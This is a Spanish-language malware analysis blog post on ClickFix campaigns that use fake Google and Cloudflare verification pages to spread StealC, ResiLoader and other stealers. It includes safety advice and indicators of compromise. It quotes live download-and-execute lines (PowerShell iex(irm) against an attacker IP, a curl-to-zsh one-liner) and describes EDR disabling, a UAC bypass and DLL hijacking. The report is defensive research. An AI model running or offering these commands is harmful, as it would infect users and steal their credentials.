Las páginas falsas de verificación de Google y Cloudflare difunden varias familias de malware

| 2 de julio de 2026
Las páginas falsas de verificación de Google y Cloudflare difunden varias familias de malware

Los ataques «ClickFix», que engañan a los usuarios para que ejecuten ellos mismos comandos maliciosos, siguen evolucionando. Esta última campaña utiliza páginas de verificación falsas de Google y Cloudflare para convencer a las víctimas de que infecten sus propios dispositivos.

Un solo error puede provocar la instalación de malware que robe contraseñas y otros datos confidenciales, permita a los atacantes acceder de forma remota a tu ordenador o descargue malware adicional capaz de tomar el control total de tu sistema.

Hemos descubierto varias campañas que utilizan la misma infraestructura para distribuir malware, entre los que se incluyen HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport y un programa de robo de datos basado en Rust.

En una cadena de infección, una versión troyanizada de la aplicación legítima de mensajería Franz descarga un cargador hasta ahora desconocido denominado ResiLoader, que desactiva el software de seguridad antes de desplegar el programa de robo de información StealC.

Antes de entrar en los detalles técnicos, a continuación te explicamos cómo evitar convertirte en la próxima víctima.

Cómo mantenerse seguro

Los ataques de ClickFix se basan en convencerte de que ejecutes tú mismo los comandos. La forma más segura de actuar es muy sencilla:

  • Nunca copies ni ejecutes comandos de una página web, a menos que estés siguiendo las instrucciones de una fuente fiable y entiendas exactamente qué hace el comando.
  • Ten cuidado con las páginas de verificación. Google, Cloudflare, Microsoft y otros servicios legítimos nunca te pedirán que pegues comandos de PowerShell en Windows demostrar que eres humano o Windows solucionar un problema.
  • No dejes que la urgencia te precipite. Las páginas de verificación falsas suelen utilizar contadores de tiempo, contadores de visitas o advertencias para presionarte y que actúes rápidamente.
  • Mantén actualizado tu software de seguridad. La protección en tiempo real y la protección web pueden ayudarte a bloquear sitios web maliciosos antes de que accedas a ellos.
  • Desconfía de las instrucciones técnicas inesperadas. Si una página web te pide que abras PowerShell, el Símbolo del sistema o la Terminal, detente y comprueba las instrucciones a través de los canales oficiales de asistencia de la empresa.

Consejo de experto: Malwarebytes Browser Guard puede avisarte cuando una página web intente copiar contenido a tu portapapeles, un truco habitual que utilizan las páginas de ClickFix.

Análisis técnico

Las campañas analizadas en este estudio llevan activas al menos desde finales de 2025 y utilizan diversas páginas falsas de Google y Cloudflare para distribuir malware. Aunque los señuelos difieren, comparten en gran medida la misma infraestructura y cadena de infección, y los atacantes prueban continuamente nuevos métodos de distribución y cargas útiles.

Diferentes señuelos, un mismo objetivo

La mayoría de las campañas comparten varias características:

  • Uso de la carpeta C:\ProgramData\Zooms para extraer las etapas posteriores
  • Comandos de PowerShell ClickFix que siguen patrones similares
  • Uso de los buckets de Cloudflare R2 para distribuir cargas útiles
  • Direcciones IP alojadas por ASN Dedik Services Limited
  • Respuestas HTML que contengan únicamente la frase "hehe"

Estos indicadores han cambiado con el tiempo, por lo que no aparecen en todas las cadenas de infección. Las campañas siguen evolucionando, y se introducen regularmente nuevas cargas útiles y métodos de distribución. Por ejemplo, en algunos casos, se utiliza directamente la dirección IP para distribuir la carga útil, en lugar de los «buckets».

El comando final copiado por el usuario suele seguir este patrón: 

powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

El puerto y la ruta no siempre están presentes en los casos analizados; los puertos son aleatorios, pero algunos de los que se utilizan son: 6600, 9900, 5506, 7895, 7493, 149 y 8442. 

Para ejecutar estos comandos, se utilizan varias plantillas relacionadas con ClickFix, principalmente vinculadas a Google y Cloudflare. También hemos detectado que, en algunos casos, el comando de PowerShell se distribuía a través del marco IClickFix. 

Hemos observado que estas campañas de ClickFix se distribuyen a través de:

  • Páginas web antiguas que probablemente hayan caducado y hayan sido readquiridas por el autor o los autores.  
  • CloudFlare Pages (.pages.dev dominios). 
  • Sitios web comprometidos. 
  • Servicios falsos, por ejemplo, relacionados con códigos QR o con el acceso a archivos web. 

Google ClickFix atrae a los usuarios 

Los responsables de estas campañas utilizan diversas páginas HTML y kits relacionados con Google. 

Uno de los señuelos simula la verificación de Google reCAPTCHA. Las páginas están alojadas en direcciones URL aleatorias que muestran contenido falso o malicioso. Estos dominios suelen ser registros antiguos que recientemente han comenzado a apuntar a nuevas direcciones IP, lo que sugiere que se han reutilizado para la campaña.

Algunas de estas páginas tienen parámetros de URL como «zoneid», «cost», «device», «country» o «clickid», por ejemplo: 

  • /conf/captcha.html?zoneid=10420852 
  • /wincapbot/nobot.html 
  • /xmr/trkuste.php?zone=5327134 
  • bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop 
Página de ClickFix «Se requiere verificación manual»
Página de ClickFix «Se requiere verificación manual»
Página de ClickFix «Se requiere verificación manual»

En este caso, las funciones relacionadas con ClickFix se implementan en la clase CustomCaptcha. El comando aparece sin cifrar, sin ningún tipo de ofuscación. 

Método «StartVerification» de la clase «CustomCaptcha»
Método «StartVerification» de la clase «CustomCaptcha»

Otro método de distribución utiliza Cloudflare Pages alojado en .pages.dev subdominios.

Página de ClickFix: «Comprueba que eres humano»
Página de ClickFix: «Comprueba que eres humano»

En este caso, la página HTML se ofusca declarando varias variables y aplicandoles la operación XOR. El código desofuscado se denomina SECURITY GATEWAY y está compuesto por las funciones GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, y PanelController.  

El código permite a los atacantes recuperar el comando, ya sea de forma remota o local. En este ejemplo, el comando malicioso de PowerShell se almacena localmente.

El comando de PowerShell declarado en el código «SECURITY GATEWAY»
El comando de PowerShell declarado en el código «SECURITY GATEWAY»

También hemos descubierto que algunos de estos dominios han difundido otro señuelo en el pasado, en este caso relacionado con un inicio de sesión no autorizado en Google. Este señuelo de ClickFix pide al usuario que copie y pegue el comando malicioso para configurar su dispositivo como principal. 

Página de ClickFix «Iniciar sesión con un token de confianza»
Página de ClickFix «Iniciar sesión con un token de confianza»

Lo interesante de este kit ClickFix es que cuenta con una «puerta de autorización», tal y como se describe en los comentarios, y que el atacante debe seleccionar manualmente en el panel qué comando quiere que ejecute el usuario. 

Comentarios sobre el kit y el «control de aprobación»
Comentarios sobre el kit y el «control de aprobación»
Comentarios sobre el kit y el «control de aprobación»

En campañas más recientes, hemos detectado un señuelo de ClickFix relacionado con Google Meet, que exige copiar y pegar un comando malicioso para solucionar problemas de audio. 

El señuelo «Reparar el controlador de audio» de Meet ClickFix
El señuelo de ClickFix en Google Meet: «Reparar el controlador de audio»

En los casos analizados, el criterio de valoración /api/driver-clipboard.php devolvió el siguiente comando malicioso:

{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} 

Otros señuelos 

Los responsables de esta campaña utilizan diversos kits y señuelos, en su mayoría relacionados con Google. Sin embargo, hemos detectado otros señuelos que copiaban comandos relacionados con la misma infraestructura. 

Los atacantes responsables de estas campañas también comprometen múltiples sitios web utilizando diferentes plantillas relacionadas con el señuelo «CloudFlare ClickFix ». 

«Comprueba que eres humano» Páginas de ClickFix
«Comprueba que eres humano» Páginas de ClickFix
«Comprueba que eres humano» Páginas de ClickFix

Hemos detectado varias plantillas utilizadas para las páginas de CloudFlare. El comando aparece en texto sin cifrar o, en algunos casos, ofuscado en los casos analizados. 

Algunas de las páginas HTML de CloudFlare ClickFix 
Algunas de las páginas HTML de CloudFlare ClickFix 
Algunas de las páginas HTML de CloudFlare ClickFix 
Algunas de las páginas HTML de CloudFlare ClickFix 

También hemos detectado algunas páginas web de servicios falsos creadas específicamente con este fin. Por ejemplo, la página «My QR Generator» muestra un código QR ofuscado y pide al usuario que ejecute un comando de PowerShell para verificar que no es un robot. 

Página de captación de ClickFix con «código QR» 
Página de captación de ClickFix con «código QR» 

En este caso, el comando está codificado en base-64: 

Comando de PowerShell descodificado
Comando de PowerShell descodificado

Programa de descarga de PowerShell 

El comando «ClickFix» ejecutado por el usuario descodifica un script y lo guarda en la carpeta «Temp» con el nombre tmp{4 char}.tmp.ps1

Hemos detectado varias variantes de este script, pero las versiones más recientes hacen lo siguiente: 

  • Crea la carpeta C:\ProgramData\Zooms
  • Descarga la siguiente etapa desde un bucket de CloudFlare y guárdala en C:\ProgramData\Zooms. En algunas variantes del script, la siguiente fase se descarga directamente desde una dirección IP. 
  • Envía la información del equipo afectado a http://{IP}/dl-callback. En algunas variantes del guion, esta parte no aparece. 
Script de PowerShell eliminado
Script de PowerShell eliminado

Los atacantes responsables de estas campañas utilizan un gran número de cargas útiles diferentes. Las campañas distribuyen una amplia variedad de cargas útiles. La tabla siguiente resume algunos de los nombres de los archivos descargados y el malware que instalan. En muchos de los casos analizados, la carga útil final se distribuyó mediante el secuestro de DLL, como también veremos más adelante en el caso del ladrón de datos StealC. 

Archivo distribuido Malware distribuido 
libEGL.zip, Safe-1.zip Aplicación Electron troyanizada, ResiLoader y StealC 
Test.msi Deno Loader y PowerShell Stealer 
arworks.zip Amatera Stealer 
water-night.zip Remus Stealer 
Setup.msi, Invintrum_first.msi NetSupport 
traffic1.msi CastleLoader 
ibrowser.exe Ladrón de óxido 

Hemos analizado un nuevo cargador llamado ResiLoader que, en última instancia, distribuye StealC. También hemos detectado que el autor de la amenaza, en las últimas campañas, ha empezado a utilizar Deno para distribuir, al final, un programa de robo de datos desarrollado en PowerShell; el análisis de esta cadena de infección podría ser objeto de una futura entrada del blog. 

Las descargas de la aplicación Electron infectada con un troyano descargan ResiLoader

En este caso, el archivo ZIP se descargó desde: 

  • pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip 

Tras la extracción a: 

  • C:\ProgramData\Zooms\libEGL.zip_ext

El archivo zip contiene una versión infectada con un troyano de la aplicación de mensajería de código abierto llamada «Franz»: 

La aplicación «Franz», infectada con un troyano, que se utiliza para descargar ResiLoader
La aplicación «Franz», infectada con un troyano, que se utiliza para descargar ResiLoader

El código malicioso está implementado en el index.js archivo: 

El código ofuscado de la aplicación con puerta trasera
El código ofuscado de la aplicación con puerta trasera

El programa de descarga realiza las siguientes operaciones: 

  • Decodifica las cadenas con la función HC()
  • Lecturas readme.txt, espera una clave de campaña con el siguiente formato: AAAA-BBBB, lo devuelve como una matriz de tokens. En este caso, el nombre es resiloader-1 y por eso llamamos «ResiLoader» a la DLL descargada. 
  • Lecturas %APPDATA%\setup.txt; si no se indica, genera una cadena aleatoria de 8 caracteres y la guarda.  
  • Cómo conseguir persistencia mediante app.setLoginItemSettings
  • Envía una solicitud POST a https[:]//completstep[.]com/api/ y elaborar la respuesta JSON
    • Si task.e si está presente, se ejecuta eval(task.e); permite al atacante ejecutar código JavaScript arbitrario. 
    • Si task.files si existe, crea %TEMP%\<Date.now()>\, descodificar y escribir cada archivo; si algún nombre de archivo termina en .exe, ejecútalo a través de child_process.exec

En nuestro caso, recibimos un archivo ZIP que lleva a cabo el secuestro de DLL de ssh-add.exe

{"task":{"name":"JUNE18USY","files":{ 

   "msys-2.0.dll":"<base64>", 

   "msys-crypto-3.dll":"<base64>", 

   "msys-gcc_s-seh-1.dll":"<base64>", 

   "ssh-add.exe":"<base64>" }}}

A continuación, se ejecutó el archivo ejecutable con: 

C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" 

ResiLoader

En msys-crypto-3.dll es un código ofuscado .NET NativeAOT loader que implementa la evasión de los sistemas antivirus y de detección y respuesta ante amenazas (EDR) mediante una técnica BYOD, consigue persistencia y, en última instancia, carga el programa de robo de datos StealC. No hemos encontrado una atribución específica para este cargador, por lo que lo hemos denominado «ResiLoader» basándonos en la cadena presente en anteriores readme.txt

El cargador contiene varias cadenas de texto, algunas en claro y otras cifradas. Tras descifrar las cadenas, es posible obtener una visión completa de la funcionalidad de ResiLoader. 

MANPO: ReadModule len=... 

MANPO: magicOffset=...
… 

PERS: FAIL all file copies failed, skipping run key 

PERS: FAIL both HKLM and HKCU Run key writes failed 
… 

RUNPE: CreateProcess failed 

RUNPE: PEB patched 

RUNPE: VirtualAllocEx failed 
… 

POST: RunForever exited (unexpected) 

POST: entering RunForever 

POST: hollow=

La cargadora realiza las siguientes operaciones: 

  • Extrae el blob codificado que contiene dos cargas útiles leyendo el marcador AtLorenBase y la longitud del blob codificado. A continuación, decodifica el blob y descifra el controlador pcdhost.sys (OPSWAT  
    AppRemover Driver) y la carga útil StealC mediante un algoritmo de descifrado personalizado.  
  • Cierra más de 140 procesos relacionados con EDR/AV utilizando el controlador desactivado. 
  • Realizar la omisión del UAC mediante ICMLuaUtil Interfaz COM mejorada. 
  • Crear una carpeta C:\ProgramData\Google Update, copiándose a sí mismo; añadiendo persistencia mediante la clave de registro RUN 
  • cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe 

Al final, el cargador lleva a cabo el vaciado del proceso ServiceModelReg.exe para ejecutar el programa de robo de datos StealC. 

COIs 

Hash 

72907d0ca3258365838626f6a8d993a6: ResiLoader DLL 

0234E3188F2883A438B3F2BEAB7A78B2: StealC 

6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 

206ce339febca0c3bcc850f42595fc63: Amatera Stealer 

eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT 

b8d53740024d126cb55f83854335a4ab: Ladrón de óxido 

Dominios 

Distribuir las páginas de ClickFix: 

onegeekworld[.]com 

thefirmos[.]com 

antibotv3[.]com 

centralwildcats[.]com 

cloud.antibotv3[.]com 

cloudautosolutions[.]com 

sunseekersupply[.]com 

123clocks[.]com 

orcanegames[.]com 

rwmonitoring[.]com 

100furniture[.]com 

nepalcharchaa[.]com 

p-floribunds.pages[.]dev 

pg-altirade2.pages[.]dev 

pg-cordivant-m6.pages[.]dev 

g-luminence.pages[.]dev 

generator-qrcode[.]online 

regdev-google[.]com 

khosla[.]capital 

eorgke09054909j[.]com 

dropboxi[.]com 

Depósitos de CloudFlare utilizados para la distribución de la carga útil

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-620528e2dc874e16937673265aa23d39.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-9682d5896df841679c5a17eb41273f89.r2[.]dev 

pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev 

pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

unitedstateverif[.]com: distribución de la carga útil 

bigflaredefence[.]com: distribución de la carga útil 

popularcard[.]shop: Rust Stealer C2 

xzz[.]proxygrid[.]cc: Amatera Stealer C2 

completstep[.]com: Cargador C2 

eventlogerps1[.]ink: Deno Loader  

be231ro963[.]com: Deno Loader  

IP 

Dirección IP utilizada para la distribución de la carga útil

151.240.151[.]126 

85.239.149[.]16 

85.239.149[.]40 

93.152.224[.]29 

151.240.151[.]46 

93.152.224[.]167 

85.239.149[.]78 

192.69.195[.]131 

135.181.171[.]40 

94.26.83[.]206 

91.92.34[.]128 

85.239.144[.]31 

93.152.224[.]39 

94.26.90[.]112 

146.19.248[.]120: StealC C2 

Agradecimientos  

Acerca del autor

Gabriele es un ingeniero de investigación de malware al que le encanta luchar contra el malware. Cuando no está haciendo eso, le gusta disfrutar de la naturaleza, el arte y los animales.